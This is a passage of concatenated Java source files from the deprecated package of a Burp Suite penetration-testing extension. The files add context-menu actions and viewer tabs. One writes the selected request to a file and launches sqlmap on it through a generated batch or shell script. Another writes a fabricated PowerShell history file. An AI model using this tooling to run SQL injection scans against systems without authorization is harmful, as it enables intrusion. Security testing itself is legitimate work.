//callbacks.printOutput(Integer.toString(invocation.getToolFlag()));//issue tab of target map is 16 47 | public Dismiss_Auto_Forward_Action(BurpExtender burp,IContextMenuInvocation invocation) { 48 | this.invocation = invocation; 49 | this.myburp = burp; 50 | this.helpers = burp.helpers; 51 | this.callbacks = BurpExtender.callbacks; 52 | this.stderr = burp.stderr; 53 | } 54 | 55 | 56 | @Override 57 | public void actionPerformed(ActionEvent e) 58 | { 59 | try{ 60 | Set dissmissed = myburp.tableModel.getConfigValueSetByKey("DismissedAutoForward"); 61 | 62 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 63 | 64 | if (e.getActionCommand().equalsIgnoreCase("This Host")) { 65 | for(IHttpRequestResponse message:messages) { 66 | String host = message.getHttpService().getHost(); 67 | dissmissed.add(host); 68 | } 69 | }else { 70 | for(IHttpRequestResponse message:messages) { 71 | Getter getter = new Getter(helpers); 72 | String url = getter.getFullURL(message).toString(); 73 | if (url.contains("?")){ 74 | url = url.substring(0,url.indexOf("?")); 75 | } 76 | dissmissed.add(url); 77 | } 78 | } 79 | 80 | myburp.tableModel.setConfigValueSetByKey("DismissedAutoForward",dissmissed); 81 | }catch (Exception e1) 82 | { 83 | e1.printStackTrace(stderr); 84 | } 85 | } 86 | } -------------------------------------------------------------------------------- /src/Deprecated/DownloadResponseMenu2.java: -------------------------------------------------------------------------------- 1 | package Deprecated; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.File; 6 | import java.io.IOException; 7 | import java.io.PrintWriter; 8 | import java.text.SimpleDateFormat; 9 | import java.util.Date; 10 | import java.util.List; 11 | 12 | import javax.swing.JFileChooser; 13 | import javax.swing.JMenuItem; 14 | 15 | import org.apache.commons.io.FileUtils; 16 | 17 | import burp.BurpExtender; 18 | import burp.Getter; 19 | import burp.IBurpExtenderCallbacks; 20 | import burp.IContextMenuInvocation; 21 | import burp.IExtensionHelpers; 22 | import burp.IHttpRequestResponse; 23 | import burp.IParameter; 24 | import burp.Utils; 25 | 26 | @Deprecated 27 | public class DownloadResponseMenu2 extends JMenuItem { 28 | /** 29 | * 30 | */ 31 | private static final long serialVersionUID = 1L; 32 | 33 | //JMenuItem vs. JMenu 34 | public DownloadResponseMenu2(BurpExtender burp){ 35 | this.setText("^_^ save Request And Response"); 36 | this.addActionListener(new Download_Action2(burp,burp.invocation)); 37 | } 38 | } 39 | 40 | class Download_Action2 implements ActionListener{ 41 | private IContextMenuInvocation invocation; 42 | public IExtensionHelpers helpers; 43 | public PrintWriter stdout; 44 | public PrintWriter stderr; 45 | public IBurpExtenderCallbacks callbacks; 46 | public BurpExtender burp; 47 | 48 | public Download_Action2(BurpExtender burp,IContextMenuInvocation invocation) { 49 | this.burp = burp; 50 | this.invocation = invocation; 51 | this.helpers = burp.helpers; 52 | this.callbacks = BurpExtender.callbacks; 53 | this.stderr = BurpExtender.stderr; 54 | this.stdout = BurpExtender.stdout; 55 | } 56 | 57 | @Override 58 | public void actionPerformed(ActionEvent event) { 59 | Runnable SqlmapRunner = new Runnable() { 60 | @Override 61 | public void run() { 62 | try{ 63 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 64 | Getter getter = new Getter(helpers); 65 | if (messages == null) { 66 | return; 67 | } 68 | if (messages.length == 1) { 69 | 70 | String filename = getter.getFullURL(messages[0]).getFile(); 71 | byte[] respBody = getter.getBody(false, messages[0]); 72 | File downloadFile = saveDialog(filename); 73 | if (downloadFile!= null) { 74 | FileUtils.writeByteArrayToFile(downloadFile, respBody); 75 | } 76 | }else { 77 | File rootPath = selectPath();//指定多个文件保存的根目录 78 | // System.out.println("rootPath:"+rootPath); 79 | 80 | for (IHttpRequestResponse message:messages) { 81 | try { 82 | byte[] request = message.getRequest(); 83 | byte[] spliter = (System.lineSeparator()+"##########################"+System.lineSeparator()).getBytes(); 84 | byte[] response = message.getResponse(); 85 | byte[] result = Utils.join(request,spliter,response); 86 | File fullName = getFileName(message,rootPath); 87 | System.out.println("Save file: "+fullName); 88 | if (fullName!= null) { 89 | //System.out.println(fullName); 90 | FileUtils.writeByteArrayToFile(fullName, result); 91 | } 92 | } catch (Exception e) { 93 | e.printStackTrace(); 94 | } 95 | } 96 | } 97 | } 98 | catch (Exception e1) 99 | { 100 | e1.printStackTrace(stderr); 101 | } 102 | } 103 | }; 104 | new Thread(SqlmapRunner).start(); 105 | } 106 | 107 | public File saveDialog(String defaultFileName) { 108 | try { 109 | JFileChooser fc = new JFileChooser(); 110 | if (fc.getCurrentDirectory() != null) { 111 | fc = new JFileChooser(fc.getCurrentDirectory()); 112 | }else { 113 | fc = new JFileChooser(); 114 | } 115 | 116 | fc.setDialogType(JFileChooser.CUSTOM_DIALOG); 117 | fc.setSelectedFile(new File(defaultFileName)); 118 | 119 | int action = fc.showSaveDialog(null); 120 | 121 | if(action==JFileChooser.APPROVE_OPTION){ 122 | File file=fc.getSelectedFile(); 123 | return file; 124 | } 125 | return null; 126 | }catch (Exception e){ 127 | e.printStackTrace(); 128 | return null; 129 | } 130 | } 131 | 132 | public File selectPath() { 133 | try { 134 | JFileChooser fc = new JFileChooser(); 135 | if (fc.getCurrentDirectory() != null) { 136 | fc = new JFileChooser(fc.getCurrentDirectory()); 137 | }else { 138 | fc = new JFileChooser(); 139 | } 140 | 141 | fc.setDialogType(JFileChooser.CUSTOM_DIALOG); 142 | fc.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); 143 | 144 | int action = fc.showSaveDialog(null); 145 | 146 | if(action==JFileChooser.APPROVE_OPTION){ 147 | File path=fc.getSelectedFile(); 148 | return path; 149 | } 150 | return null; 151 | }catch (Exception e){ 152 | e.printStackTrace(); 153 | return null; 154 | } 155 | } 156 | 157 | 158 | public File getFileName(IHttpRequestResponse message,File rootPath) throws IOException{ 159 | String canonicalFile = "KnifeSaved"; 160 | try { 161 | Getter getter = new Getter(helpers); 162 | 163 | String pathStr = null; 164 | //1、从参数名中获取文件名称,任意文件读取多是这种情况 165 | List paras = getter.getParas(message); 166 | for (IParameter para:paras) { 167 | String value = para.getValue(); 168 | int num = value.length()-value.replaceAll("/", "").length(); 169 | if (num >=2) { 170 | pathStr = value; 171 | break; 172 | } 173 | } 174 | 175 | for (IParameter para:paras) { 176 | String value = para.getValue(); 177 | int num = value.length()-value.replaceAll("\\\\", "").length();//是正则表达式 178 | if (num >=2) { 179 | pathStr = value; 180 | break; 181 | } 182 | } 183 | 184 | //2、使用url Path作为文件名, 185 | if (null == pathStr) { 186 | pathStr = getter.getFullURL(message).getPath();//getFile()包含了query中的内容 187 | pathStr = pathStr.substring(pathStr.lastIndexOf("/")); 188 | } 189 | 190 | canonicalFile = new File(pathStr).getCanonicalFile().toString(); 191 | //System.out.println("canonicalFile: "+canonicalFile); 192 | canonicalFile = canonicalFile.substring(canonicalFile.indexOf(File.separator));//如果是windows系统,需要去除磁盘符号 193 | } catch (IOException e) { 194 | e.printStackTrace(); 195 | } 196 | 197 | File fullName = new File(rootPath,canonicalFile); 198 | //System.out.println("fullName: "+fullName); 199 | 200 | if (fullName.exists()){ 201 | SimpleDateFormat simpleDateFormat = 202 | new SimpleDateFormat("YYMMdd-HHmmss"); 203 | String timeString = simpleDateFormat.format(new Date()); 204 | fullName = new File(rootPath,canonicalFile+timeString); 205 | } 206 | return fullName; 207 | } 208 | 209 | public static void main(String[] args) { 210 | 211 | } 212 | } 213 | -------------------------------------------------------------------------------- /src/Deprecated/JSONBeautifier.java: -------------------------------------------------------------------------------- 1 | package Deprecated; 2 | 3 | import java.awt.Component; 4 | import java.util.List; 5 | 6 | import com.google.gson.Gson; 7 | import com.google.gson.GsonBuilder; 8 | import com.google.gson.JsonElement; 9 | import com.google.gson.JsonParser; 10 | 11 | import burp.BurpExtender; 12 | import burp.Getter; 13 | import burp.IBurpExtenderCallbacks; 14 | import burp.IExtensionHelpers; 15 | import burp.IMessageEditorController; 16 | import burp.IMessageEditorTab; 17 | import burp.IMessageEditorTabFactory; 18 | import burp.IRequestInfo; 19 | import burp.IResponseInfo; 20 | import burp.ITextEditor; 21 | 22 | @Deprecated 23 | public class JSONBeautifier implements IMessageEditorTab,IMessageEditorTabFactory 24 | { 25 | private ITextEditor txtInput; 26 | private byte[] originContent; 27 | private IExtensionHelpers helpers; 28 | private boolean workfine = true;//JSON解析是否正常工作,如果JSON解析失败,还是应该要显示U2C。 29 | public JSONBeautifier(IMessageEditorController controller, boolean editable, IExtensionHelpers helpers, IBurpExtenderCallbacks callbacks) 30 | { 31 | txtInput = callbacks.createTextEditor(); 32 | txtInput.setEditable(editable); 33 | this.helpers = helpers; 34 | } 35 | 36 | @Override 37 | public String getTabCaption() 38 | { 39 | return "JSON"; 40 | } 41 | 42 | @Override 43 | public Component getUiComponent() 44 | { 45 | return txtInput.getComponent(); 46 | } 47 | 48 | @Override 49 | public boolean isEnabled(byte[] content, boolean isRequest) 50 | { 51 | try { 52 | if (!workfine) {//当JSON解析失败时,还是要尝试显示U2C 53 | return false; 54 | } 55 | 56 | if (content== null) { 57 | return false; 58 | } 59 | originContent = content; 60 | if (isRequest) { 61 | IRequestInfo requestInfo = helpers.analyzeRequest(content); 62 | return requestInfo.getContentType() == IRequestInfo.CONTENT_TYPE_JSON; 63 | } else { 64 | IResponseInfo responseInfo = helpers.analyzeResponse(content); 65 | return responseInfo.getInferredMimeType().equals("JSON"); 66 | } 67 | } catch (Exception e) { 68 | e.printStackTrace(); 69 | e.printStackTrace(BurpExtender.getStderr()); 70 | return false; 71 | } 72 | } 73 | 74 | @Override 75 | public void setMessage(byte[] content, boolean isRequest) 76 | { 77 | try { 78 | if (content == null) { 79 | // clear our display 80 | txtInput.setText("none".getBytes()); 81 | txtInput.setEditable(false); 82 | } else { 83 | //Get only the JSON part of the content 84 | Getter getter = new Getter(helpers); 85 | byte[] body = getter.getBody(isRequest, content); 86 | List headers = getter.getHeaderList(isRequest, content); 87 | 88 | byte[] newContet = helpers.buildHttpMessage(headers, beauty(new String(body)).getBytes()); 89 | //newContet = CharSet.covertCharSetToByte(newContet); 90 | 91 | txtInput.setText(newContet); 92 | } 93 | } catch (Exception e) { 94 | workfine = false; 95 | txtInput.setText(e.getStackTrace().toString().getBytes()); 96 | } 97 | } 98 | 99 | public static String beauty(String inputJson) { 100 | //Take the input, determine request/response, parse as json, then print prettily. 101 | Gson gson = new GsonBuilder().setPrettyPrinting().disableHtmlEscaping().serializeNulls().create(); 102 | JsonParser jp = new JsonParser(); 103 | JsonElement je = jp.parse(inputJson); 104 | return gson.toJson(je); 105 | } 106 | 107 | @Override 108 | public byte[] getMessage() 109 | { 110 | //byte[] text = txtInput.getText(); 111 | //return text; 112 | return originContent; 113 | //change the return value of getMessage() method to the origin content to tell burp don't change the original response 114 | 115 | } 116 | 117 | @Override 118 | public boolean isModified() 119 | { 120 | //return txtInput.isTextModified(); 121 | return false; 122 | //change the return value of isModified() method to false. to let burp don't change the original response) 123 | } 124 | 125 | @Override 126 | public byte[] getSelectedData() 127 | { 128 | return txtInput.getSelectedText(); 129 | } 130 | 131 | public static void main(String args[]) { 132 | String aaa = "{\"returnCode\":\"0\",\"description\":\"success\",\"resJson\":\"{\\\"userRouteInfoList\\\":[{\\\"bankVerifyState\\\":1,\\\"channelRoleTypes\\\":[{\\\"allowLogin\\\":1,\\\"innerStatus\\\":0,\\\"roleClassify\\\":1,\\\"roleID\\\":\\\"SMRole\\\"}],\\\"checkExpire\\\":2,\\\"countryCode\\\":\\\"CN\\\",\\\"lastLoginTime\\\":\\\"2020-05-11 08:37:12\\\",\\\"realName\\\":\\\"小明\\\",\\\"siteID\\\":1,\\\"userID\\\":\\\"1\\\",\\\"userType\\\":1,\\\"userValidStatus\\\":1,\\\"verifyRealState\\\":2}],\\\"resultCode\\\":0}\"}"; 133 | System.out.print(beauty(aaa)); 134 | } 135 | 136 | @Override 137 | public IMessageEditorTab createNewInstance(IMessageEditorController controller, boolean editable) { 138 | return new JSONBeautifier(null, false, BurpExtender.callbacks.getHelpers(), BurpExtender.callbacks); 139 | } 140 | } -------------------------------------------------------------------------------- /src/Deprecated/RunSQLMapMenu.java: -------------------------------------------------------------------------------- 1 | package Deprecated; 2 | 3 | import java.awt.Toolkit; 4 | import java.awt.datatransfer.Clipboard; 5 | import java.awt.datatransfer.StringSelection; 6 | import java.awt.event.ActionEvent; 7 | import java.awt.event.ActionListener; 8 | import java.io.File; 9 | import java.io.IOException; 10 | import java.io.PrintWriter; 11 | import java.text.SimpleDateFormat; 12 | import java.util.Date; 13 | 14 | import javax.swing.JMenuItem; 15 | 16 | import org.apache.commons.io.FileUtils; 17 | 18 | import burp.BurpExtender; 19 | import burp.Getter; 20 | import burp.IBurpExtenderCallbacks; 21 | import burp.IContextMenuInvocation; 22 | import burp.IExtensionHelpers; 23 | import burp.IHttpRequestResponse; 24 | import burp.Utils; 25 | 26 | @Deprecated 27 | public class RunSQLMapMenu extends JMenuItem { 28 | /** 29 | * 30 | */ 31 | private static final long serialVersionUID = 1L; 32 | 33 | //JMenuItem vs. JMenu 34 | public RunSQLMapMenu(BurpExtender burp){ 35 | this.setText("^_^ Run SQLMap"); 36 | this.addActionListener(new RunSQLMap_Action(burp,burp.invocation)); 37 | } 38 | } 39 | 40 | class RunSQLMap_Action implements ActionListener{ 41 | private IContextMenuInvocation invocation; 42 | public IExtensionHelpers helpers; 43 | public PrintWriter stdout; 44 | public PrintWriter stderr; 45 | public IBurpExtenderCallbacks callbacks; 46 | public BurpExtender burp; 47 | 48 | public RunSQLMap_Action(BurpExtender burp,IContextMenuInvocation invocation) { 49 | this.burp = burp; 50 | this.invocation = invocation; 51 | this.helpers = burp.helpers; 52 | this.callbacks = burp.callbacks; 53 | this.stderr = burp.stderr; 54 | this.stdout = burp.stdout; 55 | } 56 | 57 | @Override 58 | public void actionPerformed(ActionEvent event) { 59 | Runnable SqlmapRunner = new Runnable() { 60 | @Override 61 | public void run() { 62 | try{ 63 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 64 | if (messages !=null) { 65 | IHttpRequestResponse message = messages[0]; 66 | String requestFilePath = RequestToFile(message); 67 | String batFilePathString = genbatFile(requestFilePath); 68 | String command = SQLMapCommand(batFilePathString); 69 | Process process = Runtime.getRuntime().exec(command); 70 | } 71 | } 72 | catch (Exception e1) 73 | { 74 | e1.printStackTrace(stderr); 75 | } 76 | } 77 | }; 78 | new Thread(SqlmapRunner).start(); 79 | } 80 | 81 | /* 82 | * 请求包存入文件 83 | */ 84 | public String RequestToFile(IHttpRequestResponse message) { 85 | try { 86 | Getter getter = new Getter(helpers); 87 | String host = getter.getHost(message); 88 | SimpleDateFormat simpleDateFormat = 89 | new SimpleDateFormat("MMdd-HHmmss"); 90 | String timeString = simpleDateFormat.format(new Date()); 91 | String filename = host+"."+timeString+".req"; 92 | 93 | String basedir = (String) System.getProperties().get("java.io.tmpdir"); 94 | String configBasedir = burp.tableModel.getConfigValueByKey("SQLMap-Request-File-Path"); 95 | if (configBasedir != null && new File(configBasedir).exists()) { 96 | basedir = configBasedir; 97 | } 98 | 99 | File requestFile = new File(basedir,filename); 100 | FileUtils.writeByteArrayToFile(requestFile, message.getRequest()); 101 | return requestFile.getAbsolutePath(); 102 | } catch (IOException e) { 103 | e.printStackTrace(stderr); 104 | return null; 105 | } 106 | } 107 | 108 | /* 109 | * 生产执行sqlmap的bat文件 110 | */ 111 | public String genbatFile(String requestFilePath) { 112 | try { 113 | String basedir = (String) System.getProperties().get("java.io.tmpdir"); 114 | String configBasedir = burp.tableModel.getConfigValueByKey("SQLMap-Request-File-Path"); 115 | if (configBasedir != null && new File(configBasedir).exists()) { 116 | basedir = configBasedir; 117 | } 118 | 119 | StringBuilder prefixcommand = new StringBuilder(); 120 | prefixcommand.append("cd "+basedir+System.lineSeparator()); 121 | if (Utils.isWindows()) { 122 | String diskString = basedir.split(":")[0]; 123 | prefixcommand.append(diskString+":"+System.lineSeparator()); 124 | } 125 | 126 | String pythonPath = burp.tableModel.getConfigValueByKey("SQLMap-Python-Path"); 127 | String sqlmapPath = burp.tableModel.getConfigValueByKey("SQLMap-SQLMap.py-Path"); 128 | StringBuilder command = new StringBuilder(); 129 | if (pythonPath != null && new File(pythonPath).exists()) { 130 | if (new File(pythonPath).isFile()) { 131 | command.append(pythonPath); 132 | }else { 133 | command.append(new File(pythonPath,"python").toString()); 134 | } 135 | } 136 | command.append(" "); 137 | if (sqlmapPath != null && new File(sqlmapPath).exists()) { 138 | if (new File(sqlmapPath).isFile()) { 139 | command.append(sqlmapPath); 140 | }else { 141 | command.append(new File(sqlmapPath,"sqlmap.py").toString()); 142 | } 143 | }else { 144 | command.append("sqlmap.py"); 145 | } 146 | 147 | command.append(" -r "+requestFilePath); 148 | String sqlmapOptions = burp.tableModel.getConfigValueByKey("SQLMap-Options"); 149 | if (sqlmapOptions != null && !sqlmapOptions.equals("")) { 150 | command.append(" "+sqlmapOptions); 151 | } 152 | 153 | //将命令写入剪切板 154 | Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); 155 | StringSelection selection = new StringSelection(command.toString()); 156 | clipboard.setContents(selection, null); 157 | 158 | File batFile = new File(basedir,"sqlmap-latest-command.bat"); 159 | if (!batFile.exists()) { 160 | batFile.createNewFile(); 161 | } 162 | 163 | prefixcommand.append(command); 164 | 165 | FileUtils.writeByteArrayToFile(batFile, prefixcommand.toString().getBytes()); 166 | return batFile.getAbsolutePath(); 167 | } catch (IOException e) { 168 | e.printStackTrace(stderr); 169 | return null; 170 | } 171 | } 172 | 173 | @Deprecated //设想控制history的方法失败 174 | public String genPowershellHistory(){ 175 | try { 176 | String modelString = "#TYPE Microsoft.PowerShell.Commands.HistoryInfo\r\n" + 177 | "\"Id\",\"CommandLine\",\"ExecutionStatus\",\"StartExecutionTime\",\"EndExecutionTime\"\r\n" + 178 | "\"1\",\"Get-History | Export-Csv -Path c:\\tmpPowershellHistory.csv\",\"Completed\",\"2019/7/2 19:02:46\",\"2019/7/2 19:02:46\"\r\n"; 179 | String recordString = "\"2\",\"test cmd\",\"Completed\",\"2019/7/2 19:02:46\",\"2019/7/2 19:02:46\""; 180 | 181 | String basedir = (String) System.getProperties().get("java.io.tmpdir"); 182 | String configBasedir = burp.tableModel.getConfigValueByKey("SQLMap-Request-File-Path"); 183 | if (configBasedir != null && new File(configBasedir).exists()) { 184 | basedir = configBasedir; 185 | } 186 | 187 | File batFile = new File(basedir,"tmpPowershellHistory.csv"); 188 | if (!batFile.exists()) { 189 | batFile.createNewFile(); 190 | } 191 | String content = modelString+recordString; 192 | FileUtils.writeByteArrayToFile(batFile, content.toString().getBytes()); 193 | return batFile.getAbsolutePath(); 194 | } catch (IOException e) { 195 | e.printStackTrace(stderr); 196 | return null; 197 | } 198 | } 199 | 200 | /* 201 | * 执行bat文件的命令,为什么需要bat文件?使用了bat文件执行命令,Ctrl+C才不会退出命令行终端 202 | */ 203 | public static String SQLMapCommand(String batfilepath) { 204 | String command = ""; 205 | if (Utils.isWindows()) { 206 | command="cmd /c start " + batfilepath; 207 | } else { 208 | if (new File("/bin/sh").exists()) { 209 | command="/bin/sh " + batfilepath; 210 | } 211 | else if (new File("/bin/bash").exists()) { 212 | command="/bin/bash " + batfilepath; 213 | } 214 | } 215 | return command; 216 | } 217 | 218 | public static void main(String[] args) { 219 | try { 220 | Process process = Runtime.getRuntime().exec(SQLMapCommand("ping www.baidu.com")); 221 | } catch (IOException e) { 222 | // TODO Auto-generated catch block 223 | e.printStackTrace(); 224 | } 225 | } 226 | } 227 | -------------------------------------------------------------------------------- /src/Deprecated/U2CTabFactory.java: -------------------------------------------------------------------------------- 1 | package Deprecated; 2 | 3 | import java.awt.Component; 4 | import java.util.List; 5 | import java.util.regex.Matcher; 6 | import java.util.regex.Pattern; 7 | 8 | import org.apache.commons.text.StringEscapeUtils; 9 | 10 | import com.google.gson.Gson; 11 | import com.google.gson.GsonBuilder; 12 | import com.google.gson.JsonElement; 13 | import com.google.gson.JsonParser; 14 | 15 | import burp.BurpExtender; 16 | import burp.Getter; 17 | import burp.IBurpExtenderCallbacks; 18 | import burp.IExtensionHelpers; 19 | import burp.IMessageEditorController; 20 | import burp.IMessageEditorTab; 21 | import burp.IMessageEditorTabFactory; 22 | import burp.IRequestInfo; 23 | import burp.IResponseInfo; 24 | import burp.ITextEditor; 25 | 26 | @Deprecated 27 | public class U2CTabFactory implements IMessageEditorTabFactory 28 | { 29 | private static IExtensionHelpers helpers; 30 | private static IBurpExtenderCallbacks callbacks; 31 | 32 | public static final String majorVersion = BurpExtender.callbacks.getBurpVersion()[1].replaceAll("[a-zA-Z]",""); 33 | public static final String minorVersion = BurpExtender.callbacks.getBurpVersion()[2].replaceAll("[a-zA-Z]","");//18beta 34 | 35 | //stdout.println(majorVersion+" "+minorVersion); 36 | //2020.2.1 ==>2020 2.1 37 | //2.1.06 ==> 2.1 06 38 | @Deprecated 39 | public static boolean needJSON() { 40 | try { 41 | float majorV = Float.parseFloat(majorVersion); 42 | float minorV = Float.parseFloat(minorVersion); 43 | if (majorV>=2020 && minorV >= 4.0f) { //2020.4及之后已经有了JSON美化的功能,不再需要 44 | return false; 45 | } 46 | return true; 47 | } catch (Exception e) { 48 | e.printStackTrace(BurpExtender.getStderr()); 49 | return true; 50 | } 51 | } 52 | 53 | 54 | public U2CTabFactory(IMessageEditorController controller, boolean editable, IExtensionHelpers helpers, IBurpExtenderCallbacks callbacks) 55 | { 56 | U2CTabFactory.callbacks = callbacks; 57 | U2CTabFactory.helpers = helpers; 58 | } 59 | 60 | @Override 61 | public IMessageEditorTab createNewInstance(IMessageEditorController controller, boolean editable) { 62 | return new U2CTab(controller,editable,helpers,callbacks); 63 | } 64 | } 65 | 66 | class U2CTab implements IMessageEditorTab{ 67 | private ITextEditor txtInput; 68 | private byte[] originContent; 69 | private byte[] displayContent = "Nothing to show".getBytes(); 70 | private static IExtensionHelpers helpers; 71 | public U2CTab(IMessageEditorController controller, boolean editable, IExtensionHelpers helpers, IBurpExtenderCallbacks callbacks) 72 | { 73 | txtInput = callbacks.createTextEditor(); 74 | txtInput.setEditable(editable); 75 | U2CTab.helpers = helpers; 76 | } 77 | 78 | @Override 79 | public String getTabCaption() 80 | { 81 | return "U2C"; 82 | } 83 | 84 | @Override 85 | public Component getUiComponent() 86 | { 87 | return txtInput.getComponent(); 88 | } 89 | 90 | @Override 91 | public boolean isEnabled(byte[] content, boolean isRequest) 92 | { 93 | //System.out.println("isEnabled called"); 94 | /* 95 | if (U2CTabFactory.needJSON() && isJSON(content, isRequest)) { 96 | return true; 97 | } 98 | 99 | String contentStr = new String(content); 100 | if (needtoconvert(contentStr)) { 101 | return true; 102 | } 103 | return false; 104 | */ 105 | return true; 106 | } 107 | 108 | @Override 109 | public void setMessage(byte[] content, boolean isRequest) 110 | { 111 | //System.out.println("setMessage called"); 112 | try{ 113 | if(content==null) { 114 | txtInput.setText(displayContent); 115 | return; 116 | } 117 | 118 | originContent = content; 119 | //先尝试进行JSON格式的美化,如果其中有Unicode编码也会自动完成转换 120 | if (isJSON(content, isRequest)) { 121 | try { 122 | //Get only the JSON part of the content 123 | Getter getter = new Getter(helpers); 124 | byte[] body = getter.getBody(isRequest, content); 125 | List headers = getter.getHeaderList(isRequest, content); 126 | 127 | displayContent = helpers.buildHttpMessage(headers, beauty(new String(body)).getBytes()); 128 | //newContet = CharSet.covertCharSetToByte(newContet); 129 | txtInput.setText(displayContent); 130 | return;//如果JSON美化成功,主动返回。 131 | }catch(Exception e) { 132 | 133 | } 134 | } 135 | 136 | //如果不是JSON,或者JSON美化失败,就尝试Unicode转换 137 | int i=0; 138 | String contentStr = new String(content); 139 | while (needtoconvert(contentStr) && i<=3) { 140 | //resp = Unicode.unicodeDecode(resp);//弃用 141 | contentStr = StringEscapeUtils.unescapeJava(contentStr); 142 | i++; 143 | } 144 | if (i>0) {//表明至少转换了一次了,需要显示 145 | displayContent = contentStr.getBytes(); 146 | txtInput.setText(displayContent); 147 | return; 148 | } 149 | } catch (Exception e) { 150 | displayContent = e.getMessage().getBytes(); 151 | e.printStackTrace(BurpExtender.getStderr()); 152 | } finally{ 153 | txtInput.setText(displayContent); 154 | } 155 | } 156 | 157 | @Override 158 | public byte[] getMessage() 159 | { 160 | //byte[] text = txtInput.getText(); 161 | //return text; 162 | return originContent; 163 | //change the return value of getMessage() method to the origin content to tell burp don't change the original response 164 | 165 | } 166 | 167 | @Override 168 | public boolean isModified() 169 | { 170 | //return txtInput.isTextModified(); 171 | return false; 172 | //change the return value of isModified() method to false. to let burp don't change the original response) 173 | } 174 | 175 | @Override 176 | public byte[] getSelectedData() 177 | { 178 | return txtInput.getSelectedText(); 179 | } 180 | 181 | 182 | public static boolean isJSON(byte[] content,boolean isRequest) { 183 | if (isRequest) { 184 | IRequestInfo requestInfo = helpers.analyzeRequest(content); 185 | return requestInfo.getContentType() == IRequestInfo.CONTENT_TYPE_JSON; 186 | } else { 187 | IResponseInfo responseInfo = helpers.analyzeResponse(content); 188 | return responseInfo.getInferredMimeType().equals("JSON"); 189 | } 190 | } 191 | 192 | public static String beauty(String inputJson) { 193 | //Take the input, determine request/response, parse as json, then print prettily. 194 | Gson gson = new GsonBuilder().setPrettyPrinting().disableHtmlEscaping().serializeNulls().create(); 195 | JsonParser jp = new JsonParser(); 196 | JsonElement je = jp.parse(inputJson); 197 | return gson.toJson(je); 198 | } 199 | 200 | public static boolean needtoconvert(String str) { 201 | Pattern pattern = Pattern.compile("(\\\\u(\\p{XDigit}{4}))"); 202 | //Pattern pattern = Pattern.compile("(\\\\u([A-Fa-f0-9]{4}))");//和上面的效果一样 203 | Matcher matcher = pattern.matcher(str.toLowerCase()); 204 | 205 | if (matcher.find() ){ 206 | return true; 207 | // String found = matcher.group(); 208 | // //!@#¥%……&*()——-=,。;:“‘{}【】+ 209 | // String chineseCharacter = "\\uff01\\u0040\\u0023\\uffe5\\u0025\\u2026\\u2026\\u0026\\u002a\\uff08\\uff09\\u2014\\u2014\\u002d\\u003d\\uff0c\\u3002\\uff1b\\uff1a\\u201c\\u2018\\u007b\\u007d\\u3010\\u3011\\u002b"; 210 | // if (("\\u4e00").compareTo(found)<= 0 && found.compareTo("\\u9fa5")<=0) 211 | // return true; 212 | // else if(chineseCharacter.contains(found)){ 213 | // return true; 214 | // }else{ 215 | // return false; 216 | // } 217 | }else { 218 | return false; 219 | } 220 | } 221 | 222 | public static void main(String args[]) { 223 | System.out.print(needtoconvert("\\u0000")); 224 | } 225 | } -------------------------------------------------------------------------------- /src/Deprecated/Unicode.java: -------------------------------------------------------------------------------- 1 | package Deprecated; 2 | 3 | import org.apache.commons.text.StringEscapeUtils; 4 | 5 | 6 | 7 | /** 8 | * 弃用该类,改为使用StringEscapeUtils.unescapeJava 9 | */ 10 | @Deprecated 11 | public class Unicode { 12 | 13 | /** 14 | * unicode解码(unicode编码转中文) 15 | * 16 | * @param theString 17 | * @return 18 | */ 19 | public static String unicodeDecode(String theString) { 20 | char aChar; 21 | int len = theString.length(); 22 | StringBuffer outBuffer = new StringBuffer(len); 23 | for (int x = 0; x < len;) { 24 | aChar = theString.charAt(x++); 25 | if (aChar == '\\') { 26 | aChar = theString.charAt(x++); 27 | 28 | if (aChar == 'u') { 29 | int value = 0; 30 | for (int i = 0; i < 4; i++) { 31 | aChar = theString.charAt(x++); 32 | switch (aChar) { 33 | case '0': 34 | case '1': 35 | case '2': 36 | case '3': 37 | case '4': 38 | case '5': 39 | case '6': 40 | case '7': 41 | case '8': 42 | case '9': 43 | value = (value << 4) + aChar - '0'; 44 | break; 45 | case 'a': 46 | case 'b': 47 | case 'c': 48 | case 'd': 49 | case 'e': 50 | case 'f': 51 | value = (value << 4) + 10 + aChar - 'a'; 52 | break; 53 | case 'A': 54 | case 'B': 55 | case 'C': 56 | case 'D': 57 | case 'E': 58 | case 'F': 59 | value = (value << 4) + 10 + aChar - 'A'; 60 | break; 61 | default: 62 | throw new IllegalArgumentException( 63 | "Malformed \\uxxxx encoding."); 64 | } 65 | } 66 | outBuffer.append((char) value); 67 | } else { 68 | if (aChar == 't') 69 | aChar = '\t'; 70 | else if (aChar == 'r') 71 | aChar = '\r'; 72 | else if (aChar == 'n') 73 | aChar = '\n'; 74 | else if (aChar == 'f') 75 | aChar = '\f'; 76 | outBuffer.append(aChar); 77 | } 78 | } else 79 | outBuffer.append(aChar); 80 | } 81 | return outBuffer.toString(); 82 | } 83 | public static void main(String[] args) throws Exception { 84 | //String unicodestring = "\u624b\u673a\u9a8c\u8bc1\u5931\u8d25\uff0c\u8bf7\u91cd\u65b0\u5c1d\u8bd5"; 85 | String unicodestring = "{\"code\":404,\"message\":\"\u624b\u673a\u9a8c\u8bc1\u5931\u8d25\uff0c\u8bf7\u91cd\u65b0\u5c1d\u8bd5\"}"; 86 | String badexample= "rtrim = /^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,"; 87 | String xx = "\"[[\\\"\\\\u591a\\\\u5143\\\\u6587\\\\u5316\\\\uff0c\\\\u4e3b\\\\u9898\\\\u516c\\\\u56ed\\\\u4e4b\\\\u90fd\\\"]"; 88 | String chineseCharacter = "aaaa\\uff01\\u0040\\u0023\\uffe5\\u0025\\u2026\\u2026\\u0026\\u002a\\uff08\\uff09\\u2014\\u2014\\u002d\\u003d\\uff0c\\u3002\\uff1b\\uff1a\\u201c\\u2018\\u007b\\u007d\\u3010\\u3011\\u002b"; 89 | String chineseCharacter1 = "aaaa\\ufffe"; 90 | System.out.println(unicodeDecode(unicodeDecode(chineseCharacter))); 91 | System.out.println(StringEscapeUtils.unescapeJava(chineseCharacter)); 92 | } 93 | //url for test: 